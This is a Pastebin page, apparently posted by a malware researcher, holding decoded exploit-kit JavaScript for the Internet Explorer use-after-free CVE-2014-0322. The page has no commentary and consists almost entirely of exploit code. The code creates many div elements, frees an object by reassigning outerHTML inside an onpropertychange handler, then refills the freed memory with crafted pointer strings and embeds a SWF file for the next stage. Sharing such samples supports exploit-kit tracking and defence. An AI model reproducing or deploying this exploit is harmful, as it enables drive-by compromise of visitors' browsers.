Advertisement
Kafeine

Flash_Pack_CVE-2014-0322_Decoded_2014-03-27

Mar 27th, 2014
347
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function eYlRfX(dword) {
  2.     var d = Number(dword)['toString'](16);
  3.     while (d['length'] < 8) {
  4.         d = '0' + d;
  5.     }
  6.     return unescape('%u' + d['substr'](4, 8) + '%u' + d['substr'](0, 4));
  7. }
  8. var g_arr = [];
  9. var arrLen = 0x250;
  10.  
  11. function fun() {
  12.     var a = 0;
  13.     for (a = 0; a < arrLen; ++a) {
  14.         g_arr[a] = document['createElement']('div');
  15.     };
  16.     var b = eYlRfX(0xdeadc0de);
  17.     var c = 0x1a1b2000;
  18.     while (b['length'] < 0x360) {
  19.         if (b['length'] == (0x94 / 2)) {
  20.             b += eYlRfX(c + 0x10 - 0x0c);
  21.         } else if (b['length'] == (0x98 / 2)) {
  22.             b += eYlRfX(c + 0x14 - 0x8);
  23.         } else if (b['length'] == (0xac / 2)) {
  24.             b += eYlRfX(c - 0x10);
  25.         } else if (b['length'] == (0x15c / 2)) {
  26.             b += eYlRfX(0x42424242);
  27.         } else {
  28.             b += eYlRfX(0x1a1b2000 - 0x10);
  29.         }
  30.     };
  31.     var d = b['substring'](0, (0x340 - 2) / 2);
  32.     try {
  33.         this['outerHTML'] = this['outerHTML'];
  34.     } catch (e) {}
  35.     CollectGarbage();
  36.     for (a = 0; a < arrLen; ++a) {
  37.         g_arr[a]['title'] = d['substring'](0, d['length']);
  38.     }
  39. }
  40.  
  41. function puIHa3() {
  42.     var a = document['getElementsByTagName']('script');
  43.     var b = a[0];
  44.     b['onpropertychange'] = fun;
  45.     var c = document['createElement']('SELECT');
  46.     c = b['appendChild'](c);
  47. }
  48. document['write']('<embed src=\'e56d2.swf\' width=\'100px\' height=\'100px\'></embed>'); - 1073741824
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement